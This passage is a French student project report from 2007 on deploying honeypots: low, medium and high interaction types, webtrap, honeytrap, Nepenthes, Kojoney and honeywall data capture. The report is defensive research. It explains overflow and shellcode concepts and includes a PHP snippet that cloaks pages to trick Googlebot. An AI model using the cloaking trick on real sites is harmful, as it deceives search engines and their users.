Digital Cindy, les honeypots sexys

Transcription

DIGITAL CINDY
"L ES POTS DE MIEL SEXYS "
AUTEUR :
C LÉMENT LECIGNE
TUTEUR : F RED HEMERY
P ROJET TUTEURÉ DE DEUXIÈME ANNÉE
DUT R ÉSEAUX ET T ÉLÉCOMMUNICATIONS
U NIVERSITÉ D’A RTOIS , B ÉTHUNE
Mars 2007
Résumé
Dans le monde d’aujourd’hui, détenir l’information est synomyne de puissance.
Le meilleur moyen pour se défendre est de connaitre son ennemie. Dans la guerre
contre les pirates informatiques, les cybercriminels ou encore les chapeaux noirs, les
consultants en sécurité informatique détiennent très peu d’informations à leur disposition. À vrai dire, ces professionnels, même les créateurs d’applications sécuritaires,
ne se soucient guère des outils, des méthodes et même des motivations des pirates.
C’est ainsi qu’un groupe d’experts en sécurité informatique a mis au point une nouvelle technologie afin de palier à ce manque d’informations. Ce rapport décrit cette
technologie appelée honeypots et met en avant les résultats trouvés ces derniers mois
lors du déployement de ces pièges à pirates.
Abstract
In warfare, information is power. The better you understand your enemy, the
more able you to defeat him. In the war against crackers, network intruders, and the
other so called blackhats, the good guys have surprisingly little infromation. Most
security professionals, even those designing security products, are ignorant of the
tools, tactics and motivations of the enemy. In this way some security experts have
build a new technology to shine a light into this darkness. This report covers this new
technology called honeypots and shows results found in few months deploying such
kind of hacker traps.
TABLE DES MATIÈRES
TABLE DES MATIÈRES
Table des matières
1
Présentation
Qu’est-ce qu’un honeypot ? . . .
Qu’est-ce qu’un honeynet ? . . .
Qu’est-ce qu’un exploit ? . . . .
Un peu d’histoire . . . . . . . .
Buts recherchés . . . . . . . . .
Avantages face à un simple IDS .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
4
4
4
4
5
5
5
Étude théorique des honeypots
Web honeypots . . . . . . . . .
Honeypots à faible interaction .
Honeypot à moyenne interaction
Honeypots à forte interaction . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
6
6
6
7
8
Mise en place des honeypots
Présentation du réseau . . . . . . . .
Web honeypot . . . . . . . . . . . .
Honeypots à faible interaction . . .
Honeypots virtuels à forte interaction
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
9
9
9
10
14
4
Contournement des honeypots
Détecter un honeypot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Une faille dans un honeypot ? . . . . . . . . . . . . . . . . . . . . . . . . . . .
23
23
25
5
Résultats
Attaques des applications web . . . . . .
Les botnets, une arme en pleine expansion
Analyse de binaires . . . . . . . . . . . .
Comportement des pirates . . . . . . . . .
Quelques statistiques . . . . . . . . . . .
27
27
32
37
51
56
2
3
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
6
Conclusion
62
7
Bilan personnel
62
8
Remerciements
62
3
1
1
PRÉSENTATION
Présentation
Ces dernières années avec le développement d’Internet, le nombre d’attaques a considérablement augmenté. En effet, avec l’informations disponibles sur la toile, un néophite
peut facilement se procurer les outils spécialisés et lancer des attaques à partir de chez
lui. En dehors de ces petites attaques "pour le fun", on retrouve également les attaques
de grandes envergures menées à la baguette par des professionnels du piratage et qui sont
destinées à obtenir des données confidentielles afin d’en faire du profit. Ceux sont ces
attaques qui sont les plus redoutées par les entreprises. Ainsi pour être efficace face à ces
attaques, le monde de la sécurité a réagi rapidement et a élaboré de nouvelles méthodes
préventives, les honeypots sont à la tête de celles-ci.
Qu’est-ce qu’un honeypot ?
Un honeypot est une ressource volontairement vulnérable destinée à attirer et piéger
les pirates. En pratique c’est généralement une machine, virtuelle ou non, faisant tourner
ou émulant un ou plusieurs services, qui n’attendent que d’être compromis par un pirate.
Qu’est-ce qu’un honeynet ?
Un honeynet, terme défini par The Honeynet Project 1 , est un réseau conçu pour être
compromis. En plus des honeypots, un honeynet comprend au moins un honeywall qui
permet de surveiller ces derniers.
Qu’est-ce qu’un exploit ?
Plusieurs termes relatifs à la sécurité informatique sont employées tout au long de ce
rapport. Parmi ceux-ci, on retrouve le terme exploit qui désigne un programme malveillant
utilisant un payload2 particulier pour exploiter une faille de sécurité dans un système
d’exploitation ou un logiciel. Une exploitation réussie peut conduire à une élevation de
privilèges en local ou à un accès distant sur la machine piratée. Les failles de sécurité
les plus exploités sont celles des applications web et les débordements de tampon dans
les logiciels/noyaux. La faille de type débordement de tampon3 consiste à envoyer dans
un tampon plus de données qu’il ne peut en contenir, si le programme est mal développé
il va écrire les données en trop en dehors de l’espace mémoire allouée pour le tampon et
écraser des données essentielles (variables, saved eip) au bon déroulement du programme.
Le pirate peut ainsi détourner le flot d’exécution d’un programme pour le placer sur un
shellcode4 .
1
une association à but non lucratif qui regroupe des professionnels de la sécurité et qui fut la première a
déployer des honeypots à grande échelle.
2
Un payload est une suite d’octets ayant un rôle bien précis
3
buffer overflow en anglais
4
Un shellcode est un code binaire exécutable sous la forme d’une chaîne de caractères capable de lancer
un shell
4
Un peu d’histoire
1
PRÉSENTATION
Un peu d’histoire
L’idée n’est pas nouvelle et peut être attribuée à Bill Cheswick, un programmeur système spécialisé dans la sécurité et travaillant chez AT&T Bell. Le 7 Janvier 1991, il a
commencé à jouer avec un pirate en répondant manuellement a ces réquêtes qui tentaient
d’exploiter une faille dans le démon sendmail. Bill a alors réussi à lui faire croire qu’il
avait obtenu une copie du fichier passwd qui contenait en réalité que des comptes falsifiés
et contrôlés par le programmeur de AT&T Bell. Il a alors laissé le pirate s’amuser sur
la machine et a étudié son comportement pendant plusieurs mois. Il a ensuite publié un
papier sur ses découvertes.
Ce n’est seulement qu’en 2000 que le terme honeypot a vraiment été intégré dans le
monde des entreprises. En effet, c’est à cette époque que l’on a vu le déploiement des
premiers honeynets.
Buts recherchés
Les pots de miel sont essentiellement utilisés dans des environnements de production
ou de recherche.
– Production
Dans un environnement de production, un honeypot est utilisé pour dérouter les
attaques vers des machines leurres qui simulent un réseau de production. Ce type
d’honeypot ne requiert pas beaucoup de vigilance de la part de l’administrateur. Il
doit uniquement surveiller les intrusions sur les machines leurres afin de s’assurer que les failles exploitées ne sont pas présentes sur les machines de production
réelles.
– Recherche
C’est le domaine d’application des honeypots le plus intéressant et celui qui a été
traité tout au long du projet. Le rôle de l’honeypot dans un environnement de recherche est d’observer les méthodes de piratage et étudier le comportement des
pirates. Ce type d’honeypot est plus difficile à mettre en place et requiert un suivi
constant si on ne veut pas avoir de mauvaises surprises.
Avantages face à un simple IDS
Pourquoi ne pas mettre un simple système de détection d’intrusions en amont du réseau de production à la place d’un honeynet ? Tout simplement parce qu’un IDS ne détecte que les attaques connues5 et produit de nombreux faux positif6 . Les pots de miel
permettent de palier à ces deux problèmes. En effet, comme le trafic circulant à l’intérieur
de l’honeynet n’a pas lieu d’être, on peut le considérer automatiquement comme suspect
et ainsi supprimer les faux positifs. De plus comme nous laissons entrer le pirate, nous
pouvons analyser l’attaque qu’il a conduite même si celle-ci était jusqu’alors inconnue.
5
6
on parle aussi de faux négatifs
une alerte sur un paquet légitime
5
2
2
ÉTUDE THÉORIQUE DES HONEYPOTS
Étude théorique des honeypots
Selon les besoins, on distingue plusieurs types d’honeypots. Cette section décrit les
types d’honeypots les plus répandus.
Web honeypots
Des dizaines d’applications web naissent chaque jour. Généralement écrites en PHP,
un langage facile à apprendre, ces applications contiennent des bugs qui conduisent pour
la plupart du temps à des vulnérabilitiés. "XSS", "include", "path disclosure", "file disclosure" sont des termes qui n’ont plus aucun secret pour les pirates et tous les jours, des
milliers de sites sont compromis grâce à l’exploitation d’une de ces failles. C’est ainsi que
l’on a vu grandir les web honeypots dans le but de contrer/comprendre/analyser ce genre
d’attaque.
À titre d’exemple, on peut citer le Google Hack Honeypot7 , le premier web honeypot
qui émule des applications PHP connues telles que phpbb, joomla, les références ensuite
dans le moteur de recherche le plus utilisé du monde et attend des attaques pour récupérer
la requête utilisée pour atteindre la fausse application. Les informations glanées peuvent
être ensuite analysées pour localiser de nouvelles failles non publiées, prévoir l’arrivée
d’un nouveau ver et le contrer comme cela a été fait pour le ver Santy qui récuperait des
sites vulnérables en envoyant des requêtes spécifiques a google qui n’a mis que quelques
jours pour les bloquer.
Honeypots à faible interaction
Un honeypot à faible interaction émule des faux services vulnérables qui par défaut ne
répondent à aucune requête. En contre partie, tous les paquets arrivant à destination des
ports en écoute sont enregistrés. Le pirate n’interagit jamais avec le système d’exploitation en lui même et la sécurité est ainsi conservée, si les faux services ne contiennent bien
évidement pas de trou de sécurité.
Ce type de pot de miel est utile pour relever des statistiques sur les services les plus
attaqués. Si le payload de l’exploit se trouve dans le premier paquet envoyé par le pirate alors on peut capturer des vers, déceler de nouvelles vulnérabilités. Ils sont simples
à mettre en oeuvre et à administrer mais sont grandement limités dans le sens où nous
n’avons aucune information sur le comportement des pirates puisqu’ils n’offrent aucune
possibilité au pirate d’interagir avec le service et même la machine.
Parmi les honeypots à faible interaction les plus populaire, on retrouve honeytrap qui
écoute sur tous les ports TCP non utilisés par le système et qui loge toutes les tentatives
de connexion ainsi que les payloads utilisés. De plus un système d’analyse de payload
permet d’extraire, des shellcodes connus, les exécutables qui étaient censés s’exécuter si
la faille aurait été présente.
7
ghh.sf.net
6
2
F IG . 1: Honeypot à faible interaction
F IG . 2: Honeypot à moyenne interaction
Les honeypots à moyenne interaction sont qu’une simple évolution des honeypots présentés précédement dans le sens où ils répondent au pirate avec des fausses réponses qui
laissent croire au pirate que la faille est bien présente et qu’elle a été exploitée avec succès.
Ainsi on peut imaginer un faux serveur web IIS qui implémente le buffer overflow dans
la requête SEARCH présent dans webdav en 2003, lorsque le serveur reçoit une requête
7
Honeypots à forte interaction
2
légitime, il répond avec une réponse qui colle au protocole webdav tandis que lorsqu’il
reçoit une requête SEARCH avec un argument de plus de 65535 octets, il répond pas à
la requête, analyse le payload qui tente d’exécuter des instructions arbitraires et lance un
programme externe qui simule l’attitude de ce payload (un bind de cmd.exe sur le port
1337 par exemple), le pirate n’y voit que du feu et envoie maintenant ses données, qui
sont logées, à l’outil qui simule le payload.
Nepenthes est un de ces honeypot à moyenne interaction qui permet d’émuler des
vulnérabilités connues dans Microsoft Windows et qui possède un analyseur de payload
qui reconnaît et peut émuler plus de 90% des shellcodes afin de récupérer des vers, des
virus. . .
Honeypots à forte interaction
F IG . 3: Honeypot à forte interaction
Contrairement aux deux types précédents, les honeypots à forte interaction ne sont pas
basés sur l’émulation de services ou de systèmes d’exploitation. Au contraire, ils reposent
sur un vrai système d’exploitation où de véritables services, vulnérables ou non, tournent
et sont accessibles aux pirates. Ainsi, la méthode d’approche est complétement différente
puisque l’on offre au pirate la possibilité de rentrer dans le système et de faire ce qu’il lui
plaît une fois le système compromis.
Le but du jeu est donc de contrôler les faits et gestes du pirate sans se faire démasquer.
C’est le type d’honeypot le plus déployé pour faire de la recherche puisque ceux sont
les seuls qui permettent de réellement d’étudier le comportement des pirates et ceux sont
également les plus difficiles à administrer. Différentes méthodes pour contrôler et capturer
8
3
MISE EN PLACE DES HONEYPOTS
les données ont été élaborées par l’organisation "The Honeynet Project"8 que nous allons
décrire et mettre en place dans la section suivante.
3
Mise en place des honeypots
Présentation du réseau
Le réseau initial est constitué d’un routeur/firewall tournant sous OpenBSD, d’une
zone démilitarisée avec deux machines et d’un réseau LAN sans-fils avec une seule machine. Sur ce routeur se trouve un serveur web qui hébergera un web honeypot. Une
nouvelle carte réseau a été ajoutée à ce routeur pour accueillir et isoler le réseau qui va
contenir toutes les machines leurres qui sont physiquement au nombre de deux.
F IG . 4: Schéma du réseau
Web honeypot
Les honeypots, au niveau des applications web, sont assez récents et peu d’applications permettent de simuler ce genre de leurre. C’est dans cette optique que webtrap est
né durant ce projet.
Webtrap, écrit en PHP, utilise le mod_rewrite du serveur web apache pour intercepter
toutes les requêtes HTTP qui sont erronées (erreur 404) et renvoie une fausse page HTML
8
www.honeynet.org - Le premier organisme a avoir déployé des honeypots en masse et a publier leurs
résultats.
9
3
contenant des signatures aléatoires provenant d’applications web connues. Webtrap possède un analyseur de requêtes qui permet de détecter si l’on a tenté d’exploiter une faille
et de procéder à diverses actions comme le téléchargement du script inclu dans l’exploitation d’une faille de type include. Il génère quotidiennement un rapport (figure 5) avec le
détail de toutes les requêtes qui sont arrivées jusqu’à lui.
F IG . 5: Exemple de rapport de webtrap
Les pirates utilisent google pour trouver des sites hébergeant des applications vulnérables, il faut donc réussir à référencer ces fausses pages, renvoyées par webtrap. Pour
cela, il suffit de mettre en oeuvre la technique du cloaking qui est utilisée par les webmasters pour améliorer leur pagerank. L’astuce consiste à renvoyer un index faussé contenant
des liens vers des pages inexistantes au robot google (googlebot) que l’on aura identifié
grâce à son user-agent spécifique. Ainsi on ajoute dans l’index.php de clem1.be le code
php suivant.
1
3
5
7
9
<? php
i f ( s t r p o s ( $_SERVER [ "HTTP_USER_AGENT" ] , " G o o g l e b o t " ) ) {
/∗ . . . ∗/
e c h o " <h2 > L i n k s < / h2 > \ n " ;
echo "<ul >" ;
e c h o " < l i ><a h r e f = \ " j o o m l a / i n d e x . php \ " >My j o o m l a ! < / a > </ l i > \ n " ;
/ ∗ g é n é r a t i o n de l i e n s a l é a t o i r e s ∗ /
/∗ . . . ∗/
}
?>
Si c’est le googlebot qui visite la page, il aura le droit à une section "Links" contenant
des liens pointant vers des pages inexistantes. Ainsi le googlebot va suivre ces différents
liens et va tomber sur webtrap qui va lui renvoyer des fausses signatures d’applications
web qu’il va indexer. Après une semaine, on peut voir sur les figure 6 et 7 que google a
belle et bien été piégé.
Webtrap intègre un analyseur de referer qui permet d’extraire la requête google qui
a été utilisée pour arriver jusqu’à lui. Les résultats de la mise en place de cet honeypot
sont présentés dans la section 5 et webtrap version 0.3 peut être récupéré à l’adresse
clem1.be/webtrap/.
Paulux (cf figure 4) est une machine tournant sous le système d’exploitation libre
FreeBSD 6.1. Elle a accueilli, tout au long du projet, différents honeypots à faible ou
moyenne interactions présentés dans les sous-sections suivantes.
10
3
F IG . 6: cache de google avec les faux liens
F IG . 7: google dans les choux
Honeytrap
La mise en place de honeytrap, honeypot à faible interaction présenté dans la section
2, est simpliste. Il n’est pas présent dans les ports de FreeBSD mais il ne requiert que
la libpcap comme dépendance et est par conséquent facile à compiler. Après la compilation et l’installation de l’application, on peut configurer honeytrap par l’intermédiaire des
fichiers de configuration qui se trouve dans /usr/local/etc/honeytrap/. Le fichier honeytrap.conf contient les quelques paramètres liés au processus et la taille limite des binaires
qu’il essayera de télécharger.
clem1@paulux:~$ cat /usr/local/etc/honeytrap/honeytrap.conf
pidfile
= /var/run/honeytrap.pid
logfile
= /var/log/honeytrap.log
response_dir = /etc/honeytrap/responses
attacks_dir = /var/spool/honeytrap/attacks
dlsave_dir
= /var/spool/honeytrap/downloads
user
group
= honeytrap_user
= honeytrap_group
read_limit
= 10485760
La variable response_dir correspond au répertoire contenant des fichiers spécifiant les
réponses que doit envoyer honeytrap en fonction du port TCP ciblé. Par exemple le fichier
25_tcp (figure 8) indique à honeytrap d’envoyer la banière du serveur SMTP postfix en
réponse à une connexion sur le port 25/TCP.
11
3
clem1@paulux:~$ cat /usr/local/etc/honeytrap/25_tcp
250 localhost ESMTP Postfix
F IG . 8: Contenu du fichier 25_tcp
Honeytrap stocke le contenu de chaque paquet qu’il reçoit dans le répertoire indiqué
par la variable attacks_dir. Il enregistre les paquets en fonction du temps ce qui signifie
que nous pouvons nous retrouver avec 500 fichiers ayant un contenu identique, ce qui arrive fréquement avec la propagation des vers qui utilise à chaque coup le même payload.
Un patch a ainsi été développé pour que honeytrap stocke uniquement le contenu des paquets qu’il n’a pas encore reçu. Ceci permet d’économiser de l’espace disque et facilite la
navigation dans les logs. Le patch est disponible sur dc.clem1.be.
Honeytrap possède un analyseur de shellcode qui essaie d’extraire les actions que réalisent ces morceaux de code assembleur. Si le shellcode tente de télécharger un binaire
à distance pour l’exécuter par la suite, honeytrap ira le chercher lui même et le stockera
dans le répertoire référencé par la variable dlsave_dir. Cette fonctionnalité est utile pour
récupérer les vers qui exploitent une vulnérabilité du système à distance. Par exemple,
le vers MSBLAST qui a fait des ravages en 2003, peut facilement être récupéré par honeytrap dans le sens où celui-ci exploite une faille dans le composant DCOM des RPC
de windows (port 145/TCP) pour injecter un shellcode qui a pour rôle de télécharger, en
utilisant le protocole TFTP, le vers en lui même qui se trouve sur la machine déjà infectée
pour le lancer par la suite.
Nepenthes
Nepenthes est en quelque sorte une version améliorée de honeytrap. C’est un honeypot à moyenne interaction qui émule une machine windows simulant des services
vulnérables. Les principaux protocoles tels que SMB, SMTP, HTTPS, IMAP2, IMAP3,
SSMTP, IMAPS, POP3S, FTP, HTTPS, KERBEROS, MS-SQL, DNS sont de la partie.
Son installation ne se fait sans aucun problème puisqu’il est disponible dans les ports de
FreeBSD.
Il est très utilisé par les développeurs d’antivirus pour ses performances. En effet en
4 mois de temps, il a permis de récupérer pas moins de 15,500 binaires malveillants. À
l’instar d’honeytrap, nepenthes sait analyser des payloads contenant des shellcodes afin
de rendre plus interactif le dialogue entre nepenthes et le pirate (ou le ver). Ainsi les shellcodes de type connectback, bindshell, cmdshell, urldownload, filetransfer sont reconnus,
décortiqués (téléchargement des binaires) et émulés.
Les fichiers de configuration se trouve dans le répertoire /usr/local/etc/nepenthes/. Le
fichier nepenthes.conf est le fichier de configuration principal.
clem1@paulux:~$ cat /usr/local/etc/nepenthes/nepenthes.conf
nepenthes
{
moduledir
"/usr/lib/nepenthes";
12
moduleconfigdir
3
"/etc/nepenthes";
modules(
(...)
// vulnerability modules
"vulnbagle.so",
"vuln-bagle.conf",
"vulndameware.so",
"vuln-dameware.conf",
"vulndcom.so",
"vuln-dcom.conf",
(...)
submitmanager
{
strictfiletype
"1";
// where does submit-file write to? set this to the same dir
filesdir
"/var/binaries/";
};
(...)
utilities
{
hexdump_path
"/var/hexdumps/";
};
(...)
""
""
""
}
Comme pour honeytrap, les binaires iront dans /var/binaries et les contenus de paquet,
sans duplication, iront dans /var/hexdumps. Chaque service émulé est identifié par une
librairie dynamique .so ainsi qu’un fichier de configuration. Si on regarde au niveau du
code source et de la configuration du faux serveur FTP, on peut voir qu’il écoute sur le port
21 (figure 10) et qu’il émule les serveurs freeFTPd et warFTPd en analysant la méthode
FTPdDialogue() (figure 9).
2
4
6
8
10
12
FTPdDialogue : : FTPdDialogue ( Socket ∗ s o c k e t )
{
m_Socket = s o c k e t ;
m_DialogueName = " F T P d D i a l o g u e " ;
m _ D i a l o g u e D e s c r i p t i o n = " D i a l o g u e t o e m u l a t e v a r i o u s f t p daemon b u g s " ;
m_ConsumeLevel = CL_ASSIGN ;
m _ S h e l l c o d e = new B u f f e r ( 4 0 9 6 ) ;
m _ B u f f e r = new B u f f e r ( 4 0 9 6 ) ;
c h a r ∗ b a n n e r 1 = " 220 −−−f r e e F T P d 1.0−−−warFTPd 1.65−−−\ r \ n " ;
m_Socket −>doRespond ( b a n n e r 1 , s t r l e n ( b a n n e r 1 ) ) ;
m _ s t a t e = FTP_NULL ;
}
F IG . 9: Méthode FTPdDialogue() de vuln-ftpd.so
clem1@paulux:~$ cat vuln-ftp.conf
vuln-ftp
{
ports ("21");
accepttimeout "45";
};
F IG . 10: Configuration du serveur FTP
13
3
Kojoney
Kojoney est un honeypot à moyenne interaction développé en python et basé sur les
librairies réseau Twisted. Il émule un serveur SSH tournant sur un système où les utilisateurs ont des mots de passe faibles.
Certains pirates ont recours à des scanneurs qui se connectent sur des adresses IP
prises au hasard et qui tentent une attaque par brute force sur les mots de passe, ciblant
principalement les mots de passe par défaut ou ceux dont l’utilisateur n’a pas fait preuve
d’imagination. Combien d’administrateur crée un compte test avec comme mot de passe
test pour tester le système et oublie de l’enlever une fois le système mis en production ?
Le logiciel enregistre dans des fichiers de log toutes les tentatives qui ont été faites
ainsi que les commandes lancées par le pirate dès que celui-çi a trouvé un des comptes
utilisés par Kojoney.
Kojoney est cependant très loin d’être parfait, un pirate ayant un niveau correct et
quelques connaissances des systèmes UNIX s’apercevra immédiatement du piège comme
expliqué dans la section 4.
Techniquement le programme ne fait que boucler sur ce que tape l’utilisateur et y répondre quand il en est capable. Par conséquent on atteint très facilement les limites de
ce faux environnement, par exemple il est impossible de se promener ailleurs que dans la
racine (/) et le pirate ne peut pas utiliser de programmes interactifs (emacs, vim, ftp...).
Pour combler ces lacunes et s’éloigner de la version de base de kojoney, j’ai modifié les sources pour améliorer l’aspect du shell qui est délivré à l’utilisateur lors d’une
connexion réussie, ajouté des commandes, changé l’attitude de certaines commandes...
Aucune configuration n’est nécessaire, nous pouvons lancer directement kojoney. Il
va se mettre en écoute sur le port 22 et va enregistrer toutes les tentatives dans le fichier
/var/log/honeypot.
Pour la mise en place de notre réseau d’honeypots à forte interaction nous allons reprendre le réseau genII de la honeynet alliance couplé avec de la virtualisation.
GenII honeynet
Architecture
La figure 11 montre l’architecture typique d’un réseau d’honeypots de deuxième génération (genII). On y retrouve le réseau de production isolé du réseau de machines leurres
par une machine à 3 cartes réseaux, c’est l’honeywall. Cette machine est le composant
crucial d’un honeynet, c’est elle qui sépare les systèmes composant le honeynet du reste
14
3
F IG . 11: Architecture d’un honeynet de deuxième génération
du monde, contrôle et capture les données. En effet, tout trafic entrant ou sortant de l’honeynet transite obligatoirement par elle. Cette machine est généralement configurée en
mode pont (bridge) entre les deux réseaux avec aucune adresse IP pour que les pirates ne
puissent la détecter (pas de décrémentation de TTL). La troisième carte réseau est utilisée
pour l’administration de l’honeywall à distance.
Capture de donnée
Le but de la capture de données est de tracer l’activité des pirates. La clé de la capture de données est de collecter l’information dans autant de couches que possible. Par
exemple si un pirate exécute un programme sur une machine vulnérable, nous devons
être capable de récupérer ce programme, la ligne de commande exacte envoyée avec les
arguments, ainsi que la sortie du programme au moment de l’exécution. Ainsi on peut
identifier 3 couches importantes qui sont les journaux des pares-feux, le trafic réseau, et
l’activité sur le système.
Pour les journaux des pares-feux, ce n’est pas compliqué dans le sens où la plupart
des pares-feux, qui en valent la peine, intègrent des fonctions de capture plus ou moins
avancées. Dans notre cas, nous utiliserons le firewall Netfilter de Linux qui peut être configuré pour tracer tout ce qui passe dans les entrailles de ses points d’arrêts (hook) grâce à
l’action LOG.
Pour capturer le trafic réseau, il suffit de placer un IDS ou un simple sniffeur de paquets sur l’honeywall qui va capturer le trafic entrant et sortant. Nous allons utiliser ici
15
3
l’IDS snort qui intègre une fonction de capture de tous les paquets au format pcap, lisible
avec ethereal et la plupart des logiciels d’analyse réseau.
L’enregistrement de l’activité sur les systèmes leurres est l’étape finale pour avoir une
capture de données optimale mais c’est aussi la plus difficile à mettre en oeuvre. Il y
a quelques années cela était simple, la plupart des interactions se faisant alors par l’intermédiaire de protocoles en clair tel que FTP, HTTP ou telnet. Il suffisait de tracer la
connexion pour identifier les saisies clavier et les sorties des programmes. Cependant les
pirates ont adopté l’utilisation de protocole crypté comme tout le monde avec des algorithmes de cryptage avancés tels que le 3DES ou l’AES que l’on trouve dans ssh. Nous
devons donc capturer ces données directement depuis les systèmes leurres sans se faire démasquer par le pirate. Pour cela, le projet honeynets a développé sebek, un module noyau
qui se cache, intercepte les appels système basés sur read(), récupère les commandes du
pirates et les transmet via le protocole UDP vers une machine externe. Sebek est disponible pour windows, Linux et les systèmes BSD. Les pirates ne peuvent théoriquement ni
détecter la présence du module, ni capturer les paquets UDP, car sebek se cache dans le
noyau et se charge de cacher les paquets qu’il émet. En déployant les honeypots dans une
machine virtuelle, nous allons utiliser une autre technique pour récupérer les frappes du
pirate dans le sens où sebek est facilement détectable par un pirate expérimenté (section
4).
Contrôle de donnée
La finalité du contrôle des données est de s’assurer qu’un pirate ne puisse pas utiliser
une machine leurre pour attaquer ou casser un système extérieur à celui-ci. Le contrôle
des données limite ainsi les risques mais nous devons toutefois trouver un bon compromis
pour sécuriser le réseau tout en laissant quelques libertés aux pirates. Plus nous laissons
de liberté aux pirates et plus nous pourrons en apprendre sur leurs modes opératoires. Pour
parvenir à nos fins nous allons utiliser un dénombrement des connexions et un IPS9 .
Le dénombrement des connexions consiste à limiter le nombre de connexions sortantes qu’un attaquant peut initier depuis un honeypot. Le but est de compter le nombre de
connexions sortantes, et quand la limite définie est atteinte, de bloquer toutes connexions
ultérieures. Nous pouvons utiliser le firewall Netfilter du noyau linux qui avec le module
limit permet de faire cela. Nous pouvons ainsi écrire un script shell, inspiré de celui développé par le projet honeynet publié en GPL, qui va limiter le nombre de connexions
sortantes en fonction du protocole (UDP, TCP ou ICMP). Ainsi nous autoriserons une
trentaine de connexions par jour.
Une fois la configuration du firewall terminée, nous allons mettre en place un système
permettant d’identifier et de bloquer les attaques connues. Pour cela, nous allons mettre
en place snort_inline qui est une modification de snort pour le faire fonctionner en Intrusion Prevention System, c’est à dire que nous pouvons supprimer ou modifier des paquets
reportés suspect par snort. Pour que snort_inline fonctionne correctement, il faut qu’il
dispose d’un mécanisme lui routant les paquets, en effet il ne sait pas prendre de déci9
Intrusion Prevention System
16
3
sion de routage directement. Donc nous utilisons un mécanisme qui transfère le paquet à
snort_inline qui, une fois l’analyse effectuée, rend le paquet au processus de routage qui
route ou non le paquet. Ce processus sera dans notre cas le firewall Netfilter de Linux
qui possède cette fonction, appelée user-space queuing, qui nécessite le chargement du
module ipt_queue.
La virtualisation
La virtualisation est un mécanisme, matériel et/ou logiciel, qui permet de faire fonctionner sur une seule machine plusieurs systèmes d’exploitation. Avec l’évolution des
machines, c’est un phénomène très en vogue et il serait dommage de ne pas exploiter ce
mécanisme sur nos honeypots.
Les différents types
Il existe plusieurs types de virtualisation. Nous allons ici énumérer les principaux
types en spécifiant leurs avantages et leurs inconvénients ainsi que la solution retenue
pour le projet.
Nous avons pour commencer les émulateurs tels que qemu, boch dans le monde libre
ou vmware dans le monde propriétaire qui permettent une émulation totale d’une machine
que ce soit au niveau processeur, mémoire, disque ou ou même graphique... L’avantage est
que l’on peut faire tourner n’importe quel système d’exploitation dans la machine virtuelle
et cela sur différents types d’architectures. Cependant l’inconvénient majeur est la lenteur
d’exécution qui rend cette technique de virtualisation inutilisable sur des systèmes leurrés.
Nous avons ensuite vu apparaître la para-virtualisation avec le projet Xen. L’astuce
consiste à mettre en place un système d’exploitation dédié uniquement à la fonction d’hébergement de machines virtuelles qu’on appelle hyperviseur. Les équipes de Xen se sont
dis que virtualiser totalement une architecture est peut-être délicat et pas forcément nécessaire tout le temps. Pour cela, ils ont créé un sous-ensemble de l’architecture x86 virtualisé, qui fonctionne sur x86. La contre partie de ce concept est que les systèmes d’exploitation doivent être modifiés pour fonctionner avec ce sous-ensemble de l’architecture
x86. Parmi les systèmes supportés en domU, c’est à dire en machine virtuelle, on retrouve
Linux, NetBSD, FreeBSD, OpenSolaris et bien d’autres encore, par contre au niveau des
systèmes supportés en tant que dom0, c’est à dire la machine hôte (hyperviseur), la liste se
réduit aux distributions Linux. Cette dernière liste devrait néanmoins s’agrandir avec l’arrivée de NetBSD et FreeBSD. Xen est une solution élégante puisqu’elle permet d’émuler
différents systèmes d’exploitation en ayant des performances acceptables comparées à un
bête émulateur. Hélas, avec les machines que nous disposons, des pentium II cadencés à
350MHz, nous n’avons pas réussi à para-virtualiser un seul OS, que ce soit du Linux ou
du NetBSD, sans que la machine hôte ne rentre dans une montée en charge infinie.
Une autre méthode de virtualisation, nommée isolation ou "operating system level virtualization" en anglais, consiste à isoler l’exécution d’un programme du reste du système
17
3
d’exploitation. Ce programme est alors enfermé dans un espace clos ce qui permet de garder le système sain en cas de problème. L’appel système chroot qui permet de lancer des
processus dans un autre environnement d’exécution est le grand père des isolateurs modernes tels que linux-vserver ou bsdjail. Ce genre de virtualisation est très performante au
niveau des temps d’exécution, en effet le noyau du système hôte est partagé pour les applications qui tournent à l’intérieur des isolateurs mais n’est pas adapté pour les honeypots
puisqu’au niveau de la sécurité il est assez aisé de s’évader de ce genre de cloisonnement
(vulnérabilités dans le kernel, ptracage des processus extérieurs).
Il reste enfin la technique de virtualisation que nous allons utiliser et qui est la combinaison de l’émulateur et de l’isolateur. Elle consiste à exécuter de manière isolé, non pas
un programme, mais un noyau dans l’espace utilisateur. Le noyau "user-space" a donc son
propre espace utilisateur dans lequel il contrôle ses applications. En terme de performance,
on se situe en dessous de la technique précédente à cause des deux noyaux empilés mais
au niveau sécurité et isolation nous ne pouvons guère faire mieux. UML10 est un patch
